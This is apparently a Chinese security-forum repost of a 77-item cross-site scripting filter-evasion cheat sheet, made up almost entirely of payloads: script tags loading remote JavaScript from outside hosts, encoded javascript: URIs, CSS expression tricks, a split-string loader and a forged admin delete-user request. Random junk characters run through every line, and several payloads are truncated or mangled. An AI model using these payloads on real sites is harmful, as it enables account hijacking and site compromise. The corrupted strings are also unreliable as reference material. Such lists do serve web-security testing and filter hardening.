貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。# |# k: B- ?5 |/ x/ @, ?8 p
$ _9 [+ r. b: M5 q& i (1)普通的XSS JavaScript注入, m/ t3 i. O, r5 ~: F7 `9 O
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 k2 X7 ?3 n# ?1 U, @' N2 P1 ?( V8 D/ t7 M8 z
(2)IMG标签XSS使用JavaScript命令
: ]3 f& h0 Y; P <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
, a) o; t9 V( U& r- C8 S- K- w w' e7 k" |
(3)IMG标签无分号无引号& m$ d2 n- ~* v( N
<IMG SRC=javascript:alert(‘XSS’)>
: k1 E+ i0 M. N
0 n8 W+ n' y$ c8 S8 c (4)IMG标签大小写不敏感
4 }6 |. d- {% a+ C9 ] X <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
8 v4 q$ J9 X; Y+ Q* _0 b$ O$ J& A3 X; r# B! _" ]: `
(5)HTML编码(必须有分号)
6 ]+ `* _! \9 z- b4 L8 G b# X <IMG SRC=javascript:alert(“XSS”)>* Z* f2 |$ }: a( E2 t0 J# e
' R" H. P% x" }% N! V: `0 L (6)修正缺陷IMG标签8 y5 n4 k/ G6 v+ r u5 c; s) m
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
# ^( t' T4 r4 v8 ]$ t# F2 {" A
6 M2 [5 Y4 y- _5 c" V2 o6 H (7)formCharCode标签(计算器)
$ B6 X, ~) n* C% b; W% X( Z <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>( G% L2 }% o) x4 [; {$ m9 m: c
5 ~4 M& b9 x: g: ~4 d$ W" x! `
(8)UTF-8的Unicode编码(计算器)( [' Y/ \5 W/ E# Q* ^
<IMG SRC=jav..省略..S')>
; O; n0 a( T3 H/ q4 u4 z: x8 o9 |8 f$ W6 E
(9)7位的UTF-8的Unicode编码是没有分号的(计算器): A. I; R0 K2 [+ X$ ?$ d$ v& o
<IMG SRC=jav..省略..S')>
# q: g8 ~" D6 O% A
- ^; ?& p4 ^+ O+ @$ N4 P& b3 ~ (10)十六进制编码也是没有分号(计算器)% |1 I8 H4 ?) s2 o R
<IMG SRC=java..省略..XSS')>
|' ^) {" R9 H V
0 i1 ~. t" e, ?' O6 E (11)嵌入式标签,将Javascript分开3 f+ _- D9 k8 I9 A
<IMG SRC=”jav ascript:alert(‘XSS’);”>7 |& R' z+ ^; t
) |' u9 d6 G8 \+ p+ d$ @- M (12)嵌入式编码标签,将Javascript分开
) }! f" ?1 u1 E) a5 J <IMG SRC=”jav ascript:alert(‘XSS’);”>$ x* A6 n9 P0 n) _
5 R2 T" i o* }# i6 V1 u (13)嵌入式换行符
: J& Q& K, x s. @% o <IMG SRC=”jav ascript:alert(‘XSS’);”>
, z$ r" j. O" s7 P" R; n' F7 b
(14)嵌入式回车
; i! h5 b; g* F* X( H5 g. v$ ^8 | <IMG SRC=”jav ascript:alert(‘XSS’);”>
1 T8 E; L4 O5 B: o7 c, E6 _. F6 w( k0 ^: \: W7 i2 u
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
% ~$ G1 t( m* h8 H& G7 Q <IMG SRC=”javascript:alert(‘XSS‘)”>
5 X: I* \, v0 Q& V; g- \: y
: ?: X1 M( _% ]( E. | (16)解决限制字符(要求同页面)
% {/ ?. z* u o* G" q J/ k/ g <script>z=’document.’</script>
1 r4 R3 n5 s( ^' H0 n <script>z=z+’write(“‘</script>
' f' P" O& X; J" W <script>z=z+’<script’</script>
8 z6 y& `9 V5 y+ y <script>z=z+’ src=ht’</script>
! a7 J" M6 E% L1 }6 \# q7 n <script>z=z+’tp://ww’</script>+ S' n5 \) u$ E* m, d
<script>z=z+’w.shell’</script>
' D0 h3 _' S3 ~& O6 s6 `, s <script>z=z+’.net/1.’</script>
* v! O2 \/ n" v5 Q8 a# r <script>z=z+’js></sc’</script>% i& E* V' l) i
<script>z=z+’ript>”)’</script>/ q. u$ {7 Q+ k
<script>eval_r(z)</script>! S; N; W2 `& {% ^# C# J
% R" H/ }) Z- W0 G6 Y" _3 W5 | (17)空字符$ Q0 h. y3 Q" t' \
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
( e5 v* |& B8 P2 p; v5 Z8 T) c) o9 Y
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
% g5 T3 } Q: W4 O perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out) m4 G6 w- C2 F5 R) H1 a
( ~8 d/ z6 O6 c8 x/ R% D9 ~
(19)Spaces和meta前的IMG标签$ c" i1 F6 L; G+ q1 s6 Y
<IMG SRC=” javascript:alert(‘XSS’);”>/ F# z+ Y& O1 K: t
" P- g; `4 w$ b! r0 d (20)Non-alpha-non-digit XSS! i8 S' C( I1 A5 o4 c/ t
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>* A) K8 i/ {# U. D: l
6 E$ ~( X* ?2 A: Z+ H
(21)Non-alpha-non-digit XSS to 2
: M: s3 Q6 e2 l <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>, a. A @ J1 `' o9 D
- e( M; `' q4 [+ ^$ Q# c5 R
(22)Non-alpha-non-digit XSS to 3- Q5 P, T% o; z
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>; P M4 Q! Z. {* {- d5 v8 y
: |7 b' \, N( e0 @: ~
(23)双开括号
5 C! h: D+ M$ x5 D <<SCRIPT>alert(“XSS”);//<</SCRIPT>5 i, v A1 A$ F5 l( U
8 p. X0 M# X2 c4 W4 M8 D( A7 D3 P
(24)无结束脚本标记(仅火狐等浏览器)
) K- T0 ?+ h+ r, \ <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>! M' L0 k$ }$ Z& R
, U1 P7 x; V9 J2 c! U+ C
(25)无结束脚本标记2
, J$ D6 X7 k( [) U# e' z <SCRIPT SRC=//3w.org/XSS/xss.js>$ n0 N' S: V1 k0 i% U
: k m& B1 ^- v; T, ~7 H, H
(26)半开的HTML/JavaScript XSS
* f& T; ]: {# W e# h0 {0 t# d( i <IMG SRC=”javascript:alert(‘XSS’)”
- l* t2 q9 u! `3 D5 {+ `! J1 ?+ ?1 u
(27)双开角括号4 b" t9 `9 y" m# @; ]: _* v6 s0 b
<iframe src=http://3w.org/XSS.html <
0 }- z8 H; a" u# H! m. y! _8 h. T, D* M% b
(28)无单引号 双引号 分号
: `+ I9 V, I& r9 j G) S6 s <SCRIPT>a=/XSS/: [# f4 o. {% V' f
alert(a.source)</SCRIPT>4 J# }8 O2 ?; R. X* O. T6 a' g/ I
) N, e0 ~) U; x) H
(29)换码过滤的JavaScript8 {3 X; p# C' K$ T7 m, M
\”;alert(‘XSS’);//
" Q, L6 Y2 G s" Y; p+ k" Q, I( r% o/ _$ U. Q: b/ A/ c
(30)结束Title标签" V7 P3 P2 E- |9 P3 G( q( R
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>5 ]4 F/ L9 e5 U. N
) g* ]7 e3 H9 W$ N* f6 D (31)Input Image {, n* M2 [" P+ `' I7 ^: k# [
<INPUT SRC=”javascript:alert(‘XSS’);”>! L" v) E* q. Q7 i
) Y5 s3 X4 t5 Q2 ~3 ]3 |
(32)BODY Image
' M0 I% p8 s' w7 P <BODY BACKGROUND=”javascript:alert(‘XSS’)”>- G6 @. K) F3 q1 C- M2 @
2 P! t) A- ]' G* ?5 y
(33)BODY标签
8 ~# ~8 c9 i, @9 @ <BODY(‘XSS’)>
8 ~! j- F9 a- D U( _2 b
) Y; ^4 M+ |9 P. A+ s0 T2 P5 P0 i (34)IMG Dynsrc" n! }% c7 L, [
<IMG DYNSRC=”javascript:alert(‘XSS’)”>5 w) ~+ w2 i! D. d8 h3 C+ @; W
' [4 Q8 v& i1 | (35)IMG Lowsrc4 k3 V; E9 [4 F# z O7 L0 j3 q
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
9 U) p2 h! u" `7 `& k
/ Q- N4 x8 m- ]2 m1 K- o. O (36)BGSOUND$ t0 D* o$ T( S/ Y
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
& U. j/ Q( H5 X4 u% ?
! {6 M, K1 N. K& S (37)STYLE sheet; S/ r* A# e u1 l" F
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>( @& C% x3 C$ `3 }( C% t
# y: |" \% n, ]( V; ^9 p% P& e (38)远程样式表
' V. {8 H' \( ^ <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”> n8 ]* ]( s) I" K4 O4 j/ q) J/ f
$ L! h: ]# k0 ?: l+ s- |
(39)List-style-image(列表式)
6 v1 }. E. N" U+ p# |( M <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
9 u/ C$ e: k4 M- Q) z
_7 D4 s+ U7 |/ m9 { (40)IMG VBscript, D1 r) _: G9 c. d' U
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
4 a0 R) t5 ~, u+ @# r* }7 w- \5 l& y6 }
, a; k& z3 D; M( O (41)META链接url3 }7 b! M1 |( N8 C% Y
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
0 E* z3 R4 a. N& X5 j) b/ n3 V: N) C( h/ q
(42)Iframe
- [; ~# z( j* c <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
" v8 K- o% k9 P6 D' K/ N; O4 T
& O3 {. K. N7 R- y( K (43)Frame Q& z7 F0 b! R* O: w8 _% M8 N
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>. c! c- x, [. p9 h) _* r
$ ]: z$ }% G) ~2 E5 N (44)Table
, M4 ~5 h3 g. w: r: E8 g <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>/ I6 h) h# g b3 \ H0 y% K: E
3 Z# L5 V5 D" V5 _3 I
(45)TD( i5 f7 i( s6 U# q; k2 R. y
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>7 w {+ ?* Q: w3 o0 x
4 }$ u) A6 f; ?7 C) X7 R# P (46)DIV background-image
# Y* {4 t3 T1 f9 h( V' f4 {. h <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>: B9 c+ P6 _0 P7 i: T+ g/ q
, i; d' u. e/ B' |
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
8 I& H' b1 H1 w* h) d, W <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
* \7 Y# M3 `# N h) a/ o# z1 D
3 H% u, } [# `/ s6 l (48)DIV expression
, N) e' g/ V6 G <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
- {9 G: `; Y3 y* R3 w3 n
/ `) U2 ~; Z% ]: z- P& \ (49)STYLE属性分拆表达8 _% A3 F$ i7 C8 v* Y% M2 A
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
; q* @3 b5 J2 _( _% ~3 J/ d: D( ~+ |( \3 Z; W4 l
(50)匿名STYLE(组成:开角号和一个字母开头)
6 G% s$ U2 Q& ?+ S <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>/ P9 ^ ^) G* u- L
, z# X9 p* B0 M2 K (51)STYLE background-image
: z E" ~9 {) g% L# E( S; T <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
% T: g' I: t6 ~
) R; I5 ?) F. _; s6 d/ Y2 ] (52)IMG STYLE方式+ y" U6 T6 ?7 A3 _! c4 I( x
exppression(alert(“XSS”))’>( }; G V1 T8 P5 o2 \
- W: k& z2 R/ o% A b
(53)STYLE background4 C& P: m: a5 A% w( _9 z
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
0 u: u' t* b* P* V# s
& b! C' I* T J' Q. M6 k$ g1 Z (54)BASE
6 h) G; k+ T) q% ^4 @ <BASE HREF=”javascript:alert(‘XSS’);//”>6 r' [' d% E9 N
3 B* n* e9 W9 y8 @7 K* E; z* F (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS. ^; {" R+ t1 N9 F* B% f& u
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>, r7 k* x; E% Y% [6 [
9 }: U# U# @4 ] L1 A3 ? (56)在flash中使用ActionScrpt可以混进你XSS的代码
5 d5 u9 ^) G3 |+ w! M( D a=”get”;8 H1 m) \ ]7 N$ U; ~, ^7 t
b=”URL(\”";5 u- l0 ^* [" M' Y0 n; C
c=”javascript:”;0 p; |7 @& \; O
d=”alert(‘XSS’);\”)”;
- @, d. G$ G' a) ~ u u eval_r(a+b+c+d);
* x' K, e) S6 Z
2 N+ s, n% r( w# S4 {* o (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上' R c6 @ M) Z7 l% `0 C
<HTML xmlns:xss>
) E8 I# c$ j+ J2 ^6 Q# S$ S <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>; G$ W: e2 }- D8 w
<xss:xss>XSS</xss:xss>6 C0 F8 k" h8 j
</HTML>
+ \1 f7 m* V4 l5 u- A- B' _9 f M$ F: D8 l/ t2 a
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用3 l( \% W3 N L+ k, x
<SCRIPT SRC=””></SCRIPT>, u( }& \3 E/ T; Q' h! j: j; R
6 q; O! R" O" u
(59)IMG嵌入式命令,可执行任意命令5 R+ X, s% I* j6 `% @
<IMG SRC=”http://www.XXX.com/a.php?a=b”> Z& q, ^1 u* h2 @4 E" t d
% C! V, x: `- {! X! U (60)IMG嵌入式命令(a.jpg在同服务器)
# D" [4 t* L9 B; w7 C L! i Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser3 }* X( G5 K: d3 v# v- Q# r
: r. O! X1 h# \* Y" s- \
(61)绕符号过滤. \, ~5 Z3 O+ q/ N
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
1 p& W! X& r1 r9 Q$ x3 c; I6 Z h4 s$ n G- H
(62)
* W$ i2 j8 z- z- A. m+ N <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 L7 V6 b: O* X4 _ m. V. @* ~3 P* n2 D9 M3 X
(63)
, P5 a V% s5 s7 E: w3 y <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>; N# \# Q3 O; s/ C& V
# Q2 T8 _6 C( o* u7 G' x% k
(64)
# s* i! d g l' D6 T& J1 S <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>% Z7 }8 E" I% Q, y5 G3 u
& L7 `- Y5 c8 N1 u# m* x (65)
! `0 @' ^$ a7 Q V$ e2 E5 ?& r R9 T9 S <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT> g% Q+ X0 H! H1 e% Q; z5 F+ Z
, L- L7 S" X \9 ^
(66)1 J6 M8 j5 ?/ W# Y) Y
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>4 ]/ F, N3 X5 T" e. [
" ^0 y% t# j8 p! p% Z* | (67)
9 W! P2 X' e9 e N3 c8 K6 t" F <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>+ P& T5 j O% d
6 ~: v) `: W9 x F
(68)URL绕行
) |# H* {7 l4 s <A HREF=”http://127.0.0.1/”>XSS</A># R$ s/ p& C& e4 p: W5 P; H7 W
: I0 u$ I& b5 r1 @1 T* M (69)URL编码) B) e) {/ A& w3 C
<A HREF=”http://3w.org”>XSS</A>9 L' ^$ V' A5 U, y, ?
W( K$ T; I3 [4 e: |/ g (70)IP十进制
8 k& @$ {8 T2 E8 }' l ?. l2 R <A HREF=”http://3232235521″>XSS</A>
6 Y, u8 p9 s$ S" A
. w' R' k6 u" K3 k+ W& o/ g (71)IP十六进制 h8 {0 h* S1 g2 E6 i+ J
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>9 R7 Q$ R4 U: \4 B' O& }" f4 v
1 R; v' H+ o. N7 V4 f
(72)IP八进制
. {% }9 Q' r: O. R/ l y <A HREF=”http://0300.0250.0000.0001″>XSS</A>
" @- W l' u0 }, l) R
+ [' a/ N }4 n (73)混合编码
% @& O" g: H1 S! _ <A HREF=”h
; H5 B5 O4 n4 U( U. e4 Z+ R5 `6 O( O tt p://6 6.000146.0×7.147/”">XSS</A>
7 W, E+ d# N0 b- _* q+ L( |' R* r) O1 u& a2 h& C( P Q
(74)节省[http:]% m S) o! O6 V7 t1 t: Y7 U
<A HREF=”//www.google.com/”>XSS</A>
! R) P8 x3 Q# C9 }4 V$ @& ^( |7 A
D. f$ o3 C J/ ^ (75)节省[www]
6 p3 }+ R2 U v: a( F <A HREF=”http://google.com/”>XSS</A>
. ?7 U6 a) J; U
; \; [( M, v+ w7 y, j5 Q4 x; a (76)绝对点绝对DNS
; ~" ~1 [# H- g5 _ <A HREF=”http://www.google.com./”>XSS</A>
& n3 t# r* k1 _, ~; @
4 L1 ~; |7 j0 U' b1 y$ D4 I5 C (77)javascript链接: ]( K7 P! S4 [7 o" ^& W
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |